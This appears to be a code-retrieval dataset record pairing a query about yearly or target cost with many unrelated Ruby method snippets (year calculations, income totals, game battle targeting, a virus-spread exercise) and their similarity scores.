"def target_attributes(row)\n {\n target_type: row[:target_type],\n description: row[:description],\n ghg_target: row[:ghg_target],\n year: row[:year],\n base_year_period: row[:base_year_period],\n single_year: row[:single_year],\n geography: geographies[row[:geography_iso]],\n sector: find_or_create_laws_sector(row[:sector]),\n target_scope: find_target_scope(row[:target_scope]),\n visibility_status: row[:visibility_status]\n }\n end",
"def setTarget(lagrange: 0, mayer: 0)\n @lagrange = OCProblemChecker.convert_to_symbolic(lagrange, :lagrange, :setTarget)\n @mayer = OCProblemChecker.convert_to_symbolic(mayer, :mayer, :setTarget)\n OCProblemChecker.check_target(self)\n end",
"def compute_yearwise(incomes_or_deductions)\n income_deduction_per_year = Hash.new(0)\n\n incomes_or_deductions.each do |income_deduction|\n working_days_in_year = Float(52*5)\n daily_income = 0\n\n case income_deduction.frequency\n when \"daily\"\n daily_income = income_deduction.amount_in_cents\n when \"weekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/52)\n when \"biweekly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/26)\n when \"monthly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/12)\n when \"quarterly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/4)\n when \"half_yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year/2)\n when \"yearly\"\n daily_income = income_deduction.amount_in_cents / (working_days_in_year)\n end\n\n income_deduction.start_date = TimeKeeper.date_of_record.beginning_of_year if income_deduction.start_date.to_s.eql? \"01-01-0001\" || income_deduction.start_date.blank?\n income_deduction.end_date = TimeKeeper.date_of_record.end_of_year if income_deduction.end_date.to_s.eql? \"01-01-0001\" || income_deduction.end_date.blank?\n years = (income_deduction.start_date.year..income_deduction.end_date.year)\n\n years.to_a.each do |year|\n actual_days_worked = compute_actual_days_worked(year, income_deduction.start_date, income_deduction.end_date)\n income_deduction_per_year[year] += actual_days_worked * daily_income\n end\n end\n\n income_deduction_per_year.merge(income_deduction_per_year) { |k, v| Integer(v) rescue v }\n end",
"def target; true; end",
"def effective_year\n if next_year_start_at && Time.zone.now < 1.year.from_now(next_year_start_at)\n if Time.zone.now < next_year_start_at\n return Time.zone.now.year\n elsif Time.zone.now >= next_year_start_at\n if Time.zone.now.year == next_year_start_at.year\n return Time.zone.now.year + 1\n else\n return Time.zone.now.year\n end\n end\n elsif Time.zone.now.month == 12 && Time.zone.now.day >= 1\n return Time.zone.now.year + 1\n end\n\n Time.zone.now.year\n end",
"def min_year\n 2015\n end",
"def gas_year\n y = year\n if self< Date.new(y,10,1)\n y\n else\n y+1\n end\n end",
"def propertyBuildYearCheck(output, prop_data, data_source)\r\n output[data_source.to_sym][:dataSource] << data_source.to_s\r\n output[data_source.to_sym][:metricsNames] << \"Build Date\"\r\n output[data_source.to_sym][:metricsUsage] << \"New Construction\"\r\n\r\n # Initialize comment\r\n comment = \"Can't be built this year or last\"\r\n\r\n # If the year build field exists - perform the checks\r\n if !prop_data[:buildYear].nil? && prop_data[:buildYear].to_i > 0\r\n check_years = [Time.now.year.to_i, Time.now.year.to_i-1]\r\n value = prop_data[:buildYear]\r\n pass = !(check_years.include? value.to_i)\r\n end\r\n\r\n # If it does not - check the last sale date and use that if present\r\n if prop_data[:buildYear].nil? || prop_data[:buildYear].to_i == 0\r\n value = \"N/A\"\r\n pass = false\r\n if !prop_data[:lastSold].nil?\r\n comment = \"Can't be built this year or last | approved based on sale date\"\r\n pass = output[data_source.to_sym][:metricsPass][output[data_source.to_sym][:metricsNames].index(\"Last Sold History\")]\r\n end\r\n end\r\n\r\n # Save values\r\n output[data_source.to_sym][:metrics] << value\r\n output[data_source.to_sym][:metricsPass] << pass\r\n output[data_source.to_sym][:metricsComments] << comment\r\n end",
"def work_out_year(value)\n case value\n when 0..39\n 2000 + value\n when 40..99\n 1900 + value\n else\n value\n end\n end",
"def associated_months\n result = [] # expect no months if no dates\n years = associated_years\n \n\t start_date = event_start\n\t start_date = entry_deadline if is_opportunity?\n\t \t \n start_month_year = Time.parse(\"01/#{start_date}.month/#{start_date}.year\") if !start_date.blank?\n finish_month_year = Time.parse(\"01/#{event_finish}.month/#{event_finish}.year\") if !event_finish.blank?\n \n #this is the case when we only have a start month\n if !start_month_year.blank? and finish_month_year.blank?\n result << start_date.month\n #this is the tricky one...\n elsif !start_month_year.blank? and !finish_month_year.blank?\n delta_year = event_finish.year - start_date.year # year\n \n #if the range spans an entire year we have all the months\n if (delta_year) > 1\n result = [1,2,3,4,5,6,7,8,9,10,11,12]\n #this is the case of months being in the same year\n elsif delta_year == 0\n puts start_month_year.month\n puts finish_month_year.month\n for m in start_month_year.month..finish_month_year.month\n result << m\n end\n \n #this is the annoying one, going over new year\n elsif delta_year == 1\n #add months to year end\n for month in start_month_year.month..12\n result << month\n end\n \n #add months from start of year\n for month in 1.. finish_month_year.month\n result << month\n end \n end\n result\n end\n \n \n \n \n result\n end",
"def target_name\n decode_string_member(:target_name)\n end",
"def target\n location ||\n name ||\n observation ||\n project ||\n species_list ||\n glossary_term ||\n article\n end",
"def artist_years\n self.artists.reduce(0) do |accumulator, artist|\n accumulator += artist.years_active\n end\n end",
"def end_year\n Time.now.year - 90\n end",
"def calculate_years(principal, interest, tax, desired)\n total = principal\n years = 0\n loop do\n break if total >= desired\n total_interest = total*interest\n total += total_interest\n total -= total_interest*tax\n years += 1\n end\n years\nend",
"def multi_year?\n (multi_year)\n end",
"def new_year(input)\n equinox = Integer === input ? @astro.solar_event(:march_equinox, input) : @astro.previous(:march_equinox, input)\n date = local_date(equinox)\n equinox.localtime(utc_offset).hour < 12 ? date : date + 1\n end",
"def setup_change_target\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n case @acts[1]\n # --------------------\n when 0 # Original Target\n self.area_flag = item_in_use.area?\n @target = @ori_target\n @target_array = @ori_targets.clone\n # -------------------\n when 1 # All Battler\n self.area_flag = true\n t = $game_party.alive_members + $game_troop.alive_members\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 2 # All Battler except user\n self.area_flag = true\n t = $game_party.alive_members + $game_troop.alive_members\n t -= [self]\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 3 # All Enemies\n self.area_flag = true\n t = opponents_unit.alive_members\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 4 # All Enemies except current target\n self.area_flag = true\n t = opponents_unit.alive_members\n t -= [target]\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 5 # All Allies\n self.area_flag = true\n t = friends_unit.alive_members\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 6 # All Allies except user\n self.area_flag = true\n t = friends_unit.alive_members\n t -= [self]\n @target_array = t\n $game_temp.battler_targets += t\n # -------------------\n when 7 # Next random enemy\n self.area_flag = false\n @target = opponents_unit.random_target\n @target_array = [@target]\n $game_temp.battler_targets += [@target]\n # -------------------\n when 8 # Next random ally\n self.area_flag = false\n @target = friends_unit.random_target\n @target_array = [@target]\n $game_temp.battler_targets += [@target]\n # -------------------\n when 9 # Absolute Targets (Enemies)\n self.area_flag = true\n @target_array = opponents_unit.abs_target(@acts[2])\n @target_array -= [target] if @acts[3]\n $game_temp.battler_targets += @target_array\n # -------------------\n when 10 # Absolute Target (Allies)\n self.area_flag = true\n @target_array = friends_unit.abs_target(@acts[2])\n @target_array -= [target] if @acts[3]\n $game_temp.battler_targets += @target_array\n # -------------------\n when 11 # self\n self.area_flag = false\n @target = self\n @target_array = [@target]\n $game_temp.battler_targets += [@target]\n end\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n if @population_density >= 200\n @number_of_months += 0.5\n elsif @population_density >= 150\n @number_of_months += 1\n elsif @population_density >= 100\n @number_of_months += 1.5\n elsif @population_density >= 50\n @number_of_months += 2\n else\n @number_of_months += 2.5\n end\n end",
"def old_movie_bonus(user)\n\t\tif user[:likes_old_movies] && self.year < 1970\n\t\t\treturn 2.5\n\t\telse\n\t\t\treturn 0\n\t\tend\n\tend",
"def expected_death_year\n if is_married?\n Chronic.parse(\"#{@years_to_live + 5} years from now\").year.to_s\n else\n Chronic.parse(\"#{@years_to_live} years from now\").year.to_s\n end\n end",
"def outer_target\n targets[0] if category_names[0].index(/outer/) #frame\n end",
"def virus_effects #looks DRY but not using the full scope of the variables \r\n predicted_deaths\r\n speed_of_spread\r\n end",
"def qts_award_year_answer\n year_for_answer = MathsAndPhysics.first_eligible_qts_award_year(claim_academic_year)\n year_for_answer -= 1 if awarded_qualified_status_before_cut_off_date?\n\n I18n.t(\"answers.qts_award_years.#{qts_award_year}\", year: year_for_answer.to_s(:long))\n end",
"def required_annual_savings\n needed_amount_less_savings / years_to_retirement\n end",
"def calc_def_mod_soul_dew(user, target)\n SOUL_DEW_POKEMON.include?(target.db_symbol) ? 1.5 : 1\n end",
"def production_year\n self.end.nil? ? nil : self.end.year\n end",
"def expected_death_year\n Chronic.parse(\"#{@years_to_live} years from\nnow\").year\n end",
"def year\n current_year = Date.today.year\n\n case raw_year\n when current_year; \"this year\"\n when current_year.next; \"next year\"\n when current_year.pred; \"last year\"\n else; raw_year.to_s\n end\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @months_to_spread = 0.0\n\n if @population_density >= 200\n @months_to_spread += 0.5\n elsif @population_density >= 150\n @months_to_spread += 1\n elsif @population_density >= 100\n @months_to_spread += 1.5\n elsif @population_density >= 50\n @months_to_spread += 2\n else\n @months_to_spread += 2.5\n end\n\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n @months_to_spread = 0.0\n\n if @population_density >= 200\n @months_to_spread += 0.5\n elsif @population_density >= 150\n @months_to_spread += 1\n elsif @population_density >= 100\n @months_to_spread += 1.5\n elsif @population_density >= 50\n @months_to_spread += 2\n else\n @months_to_spread += 2.5\n end\n\n end",
"def benchcorporate\n @benchcorporate = @benchyear1 * @framework_rates['M141']\n end",
"def determine_target\n used = false\n if @skill.for_all?\n for target in $game_party.members\n target.skill_effect(@actor, @skill)\n used = true unless target.skipped\n end\n elsif @skill.for_user?\n target = $game_party.members[@target_window.index]\n target.skill_effect(@actor, @skill)\n used = true unless target.skipped\n else\n $game_party.last_target_index = @target_window.index\n target = $game_party.members[@target_window.index]\n target.skill_effect(@actor, @skill)\n used = true unless target.skipped\n end\n if used\n use_skill_nontarget\n else\n Sound.play_buzzer\n end\n end",
"def determine_target\n used = false\n if @skill.for_all?\n for target in $game_party.members\n target.skill_effect(@actor, @skill)\n used = true unless target.skipped\n end\n elsif @skill.for_user?\n target = $game_party.members[@target_window.index]\n target.skill_effect(@actor, @skill)\n used = true unless target.skipped\n else\n $game_party.last_target_index = @target_window.index\n target = $game_party.members[@target_window.index]\n target.skill_effect(@actor, @skill)\n used = true unless target.skipped\n end\n if used\n use_skill_nontarget\n else\n Sound.play_buzzer\n end\n end",
"def end_year\n Time.now.year \n end",
"def parse_args(args)\n m = args.match(/\\b(?<year>\\d\\d\\d\\d)[\\/\\-\\s]+(?<month>\\d\\d)/)\n if m\n Target.new(year: m[:year], month: m[:month])\n else\n nil\n end\n end",
"def masterwork_prob_bonus; 0; end",
"def abs_target\n opponents_unit.abs_target(item.number_of_targets)\n end",
"def years\n self.to_i * 31_557_600\n end",
"def target_id\n location_id ||\n name_id ||\n observation_id ||\n project_id ||\n species_list_id ||\n glossary_term_id ||\n article_id\n end",
"def years_to_retirement\n self.persons.map { |p| p[:retirement_age] - p[:age] }.min\n end",
"def target_immune?(target)\n # TODO: foresight / odor_sleuth effect on target (ghost type)\n # TODO: miracle eye effect on target (dark type not immue to psy)\n return calc_type_n_multiplier(target, :type1) == 0 ||\n calc_type_n_multiplier(target, :type2) == 0 ||\n calc_type_n_multiplier(target, :type3) == 0\n end",
"def year_completed\n \t#binding.pry\n \tresults = super\n \tyear_match = results.match(/(^\\d+) *(\\w*)/)\n \tif year_match[2]==\"\"\n \t\tyear_match[1].to_i\n \telse\n \t\tyear_match\n \tend\n end",
"def targets\n name.split(\"_\")\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n case @population_density\n when 0..50 then 2.5\n when 51..100 then 2\n when 101..150 then 1.5\n when 151..200 then 1\n else 0.5\n end\n\n end",
"def teacher_last_year= name\n set_teacher(name, Period.previous_term)\n end",
"def year_with_maximum_population(data)\n # Get a calenader with unique years\n calendar = data.flatten.uniq.sort\n delta_memo = Hash.new(0)\n\n # Save the delta for each year\n data.each_with_index do |person, i|\n delta_memo[person[0]] += 1\n delta_memo[person[1]] -= 1\n end\n\n # Associate calendar year with delta\n calendar.each_with_index do |year, i|\n calendar[i] = [year, delta_memo[year]]\n end\n\n max_pop_year = calendar[0][0]\n current_population = 0\n max_population = 0\n\n # Running sum of max population\n # Set year on max_population\n calendar.each do |year|\n current_population += year[1]\n\n if current_population > max_population\n max_population = current_population\n max_pop_year = year[0]\n end\n end\n\n max_pop_year\nend",
"def modeler_description\n return 'This measure swaps old cases with 2017 code compliant cases and more efficient ones.'\n end",
"def target_value\n items.reduce(0) do |sum, item|\n sum + item.target * item.price\n end\n end",
"def target\n @target\n end",
"def dog_years (human_years)\n human_years * 7\n end",
"def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n months = 0.0\n case population_range\n when \"low\"\n months = 2.5\n when \"low_med\"\n months = 2\n when \"med\"\n months = 1.5\n when \"med_high\"\n months = 1\n when \"high\"\n months = 0.5\n end\n\n # puts \" and will spread across the state in #{speed} months.\\n\\n\"\n months\n end",
"def yearly_rate\n\t\t yearly? ? rate : rate * 12\n\t\t end",
"def extract_day_mth_yr(given_date)\n\ttmp_new_date = given_date.split('/')\n\t# Get the current month\n\tset_cur_mth(tmp_new_date[0])\n\t# Get the current day\n\tset_cur_day(tmp_new_date[1])\n\t# Get the current year\n\tset_cur_year(tmp_new_date[2])\n\t# Get the body of the output filename\n\t$op_file_body = \"_\"+ month_num_to_ver(get_cur_mth) +\"_\"+ get_cur_day.to_s + \"_\" + get_cur_year.to_s\n\t# Get the name of the output filename\n\t$op_filename = $op_file_prefix + $op_file_body + $op_file_suffix\nend",
"def test_target_attribute(hb_attr_name, hb_attr_ver, target_attr_name, target_attr_max_ver, target_attr_min_ver)\n\n # check if wild cards are set\n return true if not target_attr_name\n return true if target_attr_name.nil?\n return true if target_attr_name.eql? ALL\n\n # can't answer based on hb_attr_name\n return false if not hb_attr_name\n return false if hb_attr_name.nil?\n return false if hb_attr_name.eql? UNKNOWN\n \n # check if the attribute is targeted\n return false if not target_attr_name.eql? hb_attr_name\n \n # assume that the max version and min version were purposefully excluded \n return true if target_attr_max_ver.nil? && target_attr_min_ver.nil?\n \n # check if the framework can detect hb version\n return false if hb_attr_ver.eql? 'UNKNOWN'\n \n # check the version number is within range\n return false if hb_attr_ver.to_f > target_attr_max_ver.to_f\n return false if hb_attr_ver.to_f < target_attr_min_ver.to_f\n \n # all the checks passed\n true\n end",
"def calc_years_till\n (calc_months_till / 12.00).round(2)\n end",
"def colt(year); inproceedings('COLT', year) end"
] | [
"0.58974826",
"0.56662226",
"0.5583141",
"0.55468875",
"0.54868406",
"0.54084474",
"0.5402226",
"0.5355737",
"0.53349847",
"0.53158593",
"0.5314479",
"0.52883106",
"0.5282186",
"0.52382964",
"0.52105147",
"0.52044845",
"0.5199421",
"0.5188311",
"0.5188311",
"0.51870376",
"0.51803917",
"0.51803917",
"0.5162078",
"0.5149355",
"0.51399416",
"0.5120099",
"0.51101685",
"0.5108067",
"0.5077398",
"0.5067482",
"0.5053268",
"0.50532496",
"0.5036335",
"0.50226456",
"0.50170445",
"0.50170445",
"0.5013334",
"0.5013334",
"0.50026304",
"0.50009435",
"0.49915966",
"0.49744323",
"0.4971439",
"0.49574155",
"0.49491006",
"0.4941044",
"0.49333295",
"0.49295563",
"0.49280137",
"0.4919839",
"0.49167562",
"0.49155065",
"0.4913981",
"0.49138114",
"0.4911604",
"0.49106425",
"0.49104542",
"0.49006152",
"0.48996538",
"0.48926592",
"0.4889018",
"0.48866892",
"0.48829708",
"0.48804483",
"0.4866534",
"0.4865644",
"0.4864834",
"0.48638582",
"0.4863529",
"0.48634568",
"0.4856378",
"0.48557538",
"0.4849148",
"0.4849148",
"0.484707",
"0.48462522",
"0.48462522",
"0.48443884",
"0.48432797",
"0.48389152",
"0.48383635",
"0.48301217",
"0.48284382",
"0.48241654",
"0.4822545",
"0.48189577",
"0.4817576",
"0.4816662",
"0.48125058",
"0.48072705",
"0.48047298",
"0.48013964",
"0.4799907",
"0.4799147",
"0.47942483",
"0.47899538",
"0.47892648",
"0.47837874",
"0.4782397",
"0.4782173"
] | 0.5647565 | 2 |
TODO decide if this should be calculated from yearly_target_cost | def update_target_cost
cost = BigDecimal(0.00, 10)
self.activities.each do |activity|
cost += activity.targetCost
end
self.target_cost = cost
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def internal_work_cost year\n \t\tKpi.internal_work_cost(self, year)\n \tend",
"def annual_cost\n (number_of_positions * hourly_rate * hours_per_week * number_of_weeks)\n end",
"def annual_cost\n (number_of_positions * hourly_rate * hours_per_week * number_of_weeks)\n end",
"def standard_cost_code; end",
"def adjusted_target_income\n (self.target_income * (years_to_retirement * self.avg_inflation_rate)) + self.target_income\n end",
"def actual_cost\n self.cost/1000.to_f\n end",
"def cost\r\n\t\treturn @extra_cost + @real_need.cost\r\n\tend",
"def cost\r\n return @extra_cost + @basic_shifted.cost\r\n end",
"def cost\n start_value\n end",
"def cost \n return @extra_cost + @basic_tran.cost\n end",
"def cost_difference\n cost - estimated_cost\n end",
"def total_cost\n return (date_range.end_date - date_range.start_date) * (200 * (1 - discount))\n end",
"def cost\n 0.89\n end",
"def cost\n @cost ||= calibrate_cost\n end",
"def cost\n total = 0.0\n not_covered.each do |n|\n total += n.cost\n end\n total\n end",
"def cost\n 0.99\n end",
"def get_cost_for_duration(resource, duration) ; 1.0 end",
"def cost\r\n\t\[email protected]_cost.class != NaN\r\n\tend",
"def all_costs\n smoked_all_time * cigaret_price\n end",
"def cost \n return @extra_cost + @basic_inst.cost\n end",
"def cost\n schedule.reduce(0) do |cost, day|\n cost + COSTS[day.city][day.cost]\n end\n end",
"def cost\n super + 0.20\n end",
"def min_cost(costs)\n costs.reduce([0]*3) { |prev, now| now.map { |n| n + prev.rotate![0,2].min } }.min\nend",
"def benchmarkedcosts\n benchmark_rate = @benchmark_rates[@service_ref].to_f\n @benchmarkedcosts = benchmark_rate * @uom_vol\n end",
"def variable_costs\n @cost_strategy.variable_cost\n end",
"def cost \n return @extra_cost + @basic_prescription.cost\n end",
"def cost\n super + 0.10\n end",
"def cost\n super + 0.10\n end",
"def cost\n super + 0.15\n end",
"def skill_tp_cost(skill)\n return 0\n end",
"def cost\n 1.99\n end",
"def get_cost_vector\n\t\t\tNMath.sqrt(((@tuneable_data - @goal_vector) ** 2).sum(0))\n\t\tend",
"def fixed_costs\n fixed_costs_per_unit * number_of_units\n end",
"def cost\n @cost = 0.89\n end",
"def operating_costs\n fixed_om_costs + variable_costs\n end",
"def rental_cost(nights)\n nights.map{|night| nightly_rate(night)}.reduce(:+)\n end",
"def cost\r\n 0\r\n end",
"def fuel_cost\n ((amount * 100) / (mileage - predecessor.mileage)).round(1) if predecessor\n end",
"def product_cost\n product_with_unit_cost + product_without_unit_cost\n end",
"def cost\n cost = 0\n @solution.each { |route| cost += route.travel_time_and_cost[0] }\n return cost\n end",
"def cost\n @cost = 0.99\n end",
"def calculate_annual_cost_in_cents\n (number_of_positions * hourly_rate_cents * hours_per_week.to_f * number_of_weeks)\n end",
"def total_cost\n [executor_cost, team_lead_cost, account_manager_cost].compact.inject(&:+)\n end",
"def cost\n return @cost\n end",
"def cost\n return @cost\n end",
"def cost\n\t\treturn @extra_cost + @real_donation.cost\n\tend",
"def calculate_actual_cost(costs)\n calculate_actual_cost = sort_and_sum_evm_hash Hash[costs]\n calculate_actual_cost.delete_if { |date, _value| date > @basis_date }\n end",
"def cost \n return @extra_cost + @basic_transfer.cost\n end",
"def target_value\n items.reduce(0) do |sum, item|\n sum + item.target * item.price\n end\n end",
"def included_in_cost\n false\n end",
"def effective_rate; end",
"def cost\n return @extra_cost + @basic_booking.cost\n end",
"def cost\n deductible * RATE\n end",
"def cost_estimate\n @cost_estimate ||= @base_cost + @maze.furthest_key_distance(@at, @subset_mask)\n end",
"def final_cost (speed, mpg, cost)\n if speed > 60 && mpg > speed && mpg > 0\n mpg = mpg - ((speed - 60) * 2)\n return mpg * cost\n else mpg * cost\n end\nend",
"def reagent_cost\n reagents.map do |reagent|\n reagent.reagent.production_cost\n end.sum\n end",
"def gym_cost\n \t\tgym_cost = memberships.map{|member|member.cost}\n \t\tgym_cost.sum\n end",
"def cost()\n unless @cost\n @cost = @description.inject(0) do |val, el|\n val + ((el.nil? || el.to_s.end_with?('?')) ? 1 : 0.1)\n end\n end\n @cost\n end",
"def cost\n @cost = 1.99\n end",
"def total_costs\n fixed_costs + variable_costs\n end",
"def make_year(year, bias); end",
"def gym_cost\n all_gym_costs = self.memberships.map {|membership| membership.cost}\n all_gym_costs.sum\n end",
"def calc_total_cost()\n\t\ttotal_cost = @cost.to_i * 0.9\n\tend",
"def cost\n self[:cost].to_f\n end",
"def cost_to_date\n total_auths = integration_usages.pluck(:auths).sum\n auth_cost = total_auths * Figaro.env.per_auth_cost.to_f\n ial2_user_cost = ial2_users * Figaro.env.per_ial2_user_cost.to_f\n\n platform_fee + auth_cost + ial2_user_cost\n end",
"def unit_cost\n @unit_cost ||= component ? component.cost : 0\n end",
"def marginal_costs\n @cost_strategy.marginal_cost\n end",
"def cost \n return @extra_cost + @basic_booking.cost\n end",
"def cost \n return @extra_cost + @basic_booking.cost\n end",
"def skill_tp_cost(skill)\r\n skill.tp_cost\r\n end",
"def cost \n return @extra_cost + @basic_drug.cost\n end",
"def estimate_to_complete\n estimate_at_completion_cost - project.actual_cost(self)\n end",
"def annual_cost_or_base_pay\n case request_model_type\n when 'staff', 'contractor'\n (annual_base_pay_cents / 100.0)\n when 'labor'\n (calculate_annual_cost_in_cents / 100.0)\n else\n logger.error(\"Unknown request model type: #{request_model_type}\")\n 0.00\n end\n end",
"def total_cost\n lifter_membership.reduce(0){ |total, pay| \n total + pay.cost}\n end",
"def cost=(value)\n @cost = value\n end",
"def cost=(value)\n @cost = value\n end",
"def accommodation_cost(nights)\n City::TIER_ACCOMMODATION_COST[self.city.accomodation_category.to_sym] * nights\n end",
"def cost\n # Todo pull this from the DB\n 1000\n end",
"def comparison(yearly_cost, yearly_consumption)\n first_filter = GasContract.all.select { |contract|\n yearly_consumption.between?(contract.low_kw_consumption_per_year * 1000, contract.high_kw_consumption_per_year * 1000)\n }\n second_filter = first_filter.select{ |contract|\n yearly_cost > (contract.kwh_price_base * yearly_consumption + contract.subscription_base_price_month * 12)\n }\n max_save = 0\n all_savings = []\n second_filter.each do |contract|\n savings = yearly_cost - (contract.kwh_price_base * yearly_consumption + contract.subscription_base_price_month * 12)\n if savings > max_save\n max_save = savings\n end\n all_savings << savings\n end\n [max_save.round(2), second_filter, all_savings]\n end",
"def co2_emissions_costs_per_typical_input\n 0.0\n end",
"def production_cost\n reagent_reference.production_cost * quantity\n end",
"def min_cost?\n false\n end",
"def estimation(yearly_cost, yearly_consumption, floor_space, heat_type, water_cooking_type, nb_residents )\n yearly_cost = yearly_cost.to_f\n yearly_consumption = yearly_consumption.to_i\n floor_space = floor_space.to_i\n nb_residents = nb_residents.to_i\n if verify_nilness_params(yearly_cost, yearly_consumption, floor_space, heat_type, water_cooking_type, nb_residents)\n first_factor = heat_type == 'Gaz' ? 1 : 0\n second_factor = water_cooking_type == 'Gaz' ? 1 : 0\n yearly_consumption = floor_space * 100 * first_factor + consumption_people(nb_residents) * second_factor if yearly_consumption.zero?\n [yearly_cost, yearly_consumption]\n else\n [false, -1]\n end\n end",
"def lifter_total_cost\n total_cost = 0 \n self.memberships.each do |membership_instance|\n total_cost += membership_instance.cost \n end\n total_cost\n end",
"def total_cost\n lifter_memberships.map {|membership| membership.cost}.sum\n end",
"def two_city_sched_cost(costs)\n\treturn 0 if costs == nil || costs.size == 0 # Return 0 if costs array is nil or empty.\n\t# Sort array by difference in each subarray in descending order.\n\tcosts = costs.sort_by{|cost| cost[1] - cost[0]}.reverse\n\tmid = costs.size/2 # Get mid.\n\tsum = 0\n\t# Traverse costs array.\n\t# For first half, get first element of every subarray and add to sum.\n\t# For second half, get second element of every subarray and add to sum.\n\tfor i in 0..costs.size-1 do\n\t\tif i < mid\n\t\t\tsum = sum + costs[i][0]\n\t\telse\n\t\t\tsum = sum + costs[i][1]\n\t\tend\t\n\tend\n\treturn(sum) # Return sum\n\nend",
"def marginal_costs\n fetch(:marginal_costs, false) do\n if output(:electricity).nil?\n nil\n elsif electricity_output_conversion.zero?\n 0.0\n else\n variable_costs_per_typical_input(include_waste: false) *\n SECS_PER_HOUR / # Highlighting\n electricity_output_conversion\n end\n end\n end",
"def corrections_cost()\n return 0 if !defined?(@corrections) or @corrections.nil?\n return @corrections.inject(0) { |current, correction| current + correction.cost }\n end",
"def marginal_heat_costs\n variable_costs_per_typical_input(include_waste: false) *\n SECS_PER_HOUR / heat_output_conversion\n end",
"def cost(theta, vector, y)\n estimate = hypothesis(theta, vector)\n\n y == 0 ? -Math.log(1.0 - estimate) : -Math.log(estimate)\nend",
"def fixed_om_costs\n fixed_om_costs_per_unit * number_of_units\n end",
"def get_cost_of_equity\n @cost_of_equity = (self.class.risk_free_rate + self.get_beta * (self.class.market_growth_rate - self.class.risk_free_rate)).round(2)\n end",
"def total_cost\n# Get the total cost of a specific lifter's gym memberships\n membs_cost = memberships.map{|membership|membership.cost}\n cost_total = membs_cost.inject(:+)\n end",
"def total_contributions_cost\n contributions.to_a.sum(&:amount)\n end",
"def getcost()\n return @cost\n end",
"def total_cost selected_fy_year=nil\n\n alis = if multi_year? && selected_fy_year.blank?\n activity_line_items\n else\n selected_fy_year ||= self.fy_year\n activity_line_items.where(:fy_year => selected_fy_year)\n end\n \n alis.sum(ActivityLineItem::COST_SUM_SQL_CLAUSE)\n end",
"def build_cost\n\t\tRails.cache.fetch(\"car.build_cost.#{self.id}\", expires_in: 1.hour) {\n modifications.sum(:price) + price\n }\n\tend",
"def cost\n @cost ||= 10\n end",
"def cost\n unless @cost\n @cost = 0\n @nodes_v.each do |v|\n @cost += @nodes_s.map { |s| v.distance_to(s) }.min\n end\n end\n\n @cost\n end",
"def calc_def_mod_metal_powder(user, target)\n return 1 unless target.db_symbol == :ditto\n target.moveset.each do |move|\n return 1 if move.db_symbol == :transform && move.used\n end\n return 1.5\n end"
] | [
"0.6807114",
"0.6693918",
"0.6693918",
"0.645666",
"0.639724",
"0.6364628",
"0.6357599",
"0.63488847",
"0.63282806",
"0.62914187",
"0.6269085",
"0.62634665",
"0.6216426",
"0.6204317",
"0.6187541",
"0.61302656",
"0.61232364",
"0.6114092",
"0.60668516",
"0.60346997",
"0.6007883",
"0.6007241",
"0.6002952",
"0.5991908",
"0.59811354",
"0.59797657",
"0.59793425",
"0.59793425",
"0.59786385",
"0.5959287",
"0.59515285",
"0.5936579",
"0.59186524",
"0.5909448",
"0.590636",
"0.58951604",
"0.58865654",
"0.5877609",
"0.5876373",
"0.5874679",
"0.584195",
"0.5810489",
"0.57982296",
"0.5781993",
"0.5781993",
"0.57764864",
"0.57708484",
"0.57648444",
"0.5762048",
"0.5755875",
"0.57467633",
"0.57393175",
"0.5735828",
"0.5735264",
"0.57351774",
"0.573471",
"0.57325685",
"0.5723999",
"0.57176375",
"0.5717247",
"0.57168967",
"0.5682687",
"0.567957",
"0.5677898",
"0.56730276",
"0.56715703",
"0.56430626",
"0.5639927",
"0.5639927",
"0.5630851",
"0.562702",
"0.56232065",
"0.56224394",
"0.56219494",
"0.5617466",
"0.5617466",
"0.56052524",
"0.56002754",
"0.5595313",
"0.5587981",
"0.5576825",
"0.55767685",
"0.5554774",
"0.55420244",
"0.55406815",
"0.55353624",
"0.55316746",
"0.5530515",
"0.5529482",
"0.55281955",
"0.5526268",
"0.5521795",
"0.5521109",
"0.5515052",
"0.55104303",
"0.5508956",
"0.54858357",
"0.54832184",
"0.548142",
"0.5477899"
] | 0.67912424 | 1 |
Return arry with current year to current year + ... | def next_years
current_year = Time.now.year
current_year..(current_year + 4)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def get_year_ary\n (Date.today.year-99..Date.today.year).inject([]){|x,y| x << y}.reverse\n end",
"def year_array\n return ['x'] +(@earliest_year..@latest_year).to_a\n end",
"def get_years_to_date_collection\n (get_system_asset_starting_year..Date.today.year).to_a\n end",
"def year\n return self.to_a[IDX_YEAR]\n end",
"def year() end",
"def all_year\n beginning_of_year..end_of_year\n end",
"def amy_years\n (Time.now.year - 1977).ordinalize\n end",
"def year(input) = new_year(input).year - 621",
"def make_year(year, bias); end",
"def year\n self.range('year')\n end",
"def get_years\n year = slice_year\n till_year = year.to_i - @past_years\n years = []\n year.to_i.downto(till_year) { |y| years << y }\n years\n end",
"def new_year(date) = ::Date.new(Integer === date ? date : date(date).year, 1, 1, reform_jd).new_start(::Date::GREGORIAN)",
"def start_year\n Time.now.year - 18\n end",
"def year\n 2020\n end",
"def start_year\n Time.now.year - 75\n end",
"def years() 365 * days end",
"def year; end",
"def year; end",
"def this_year\n year(Time.now)\n end",
"def current_year\n Time.current.year\n end",
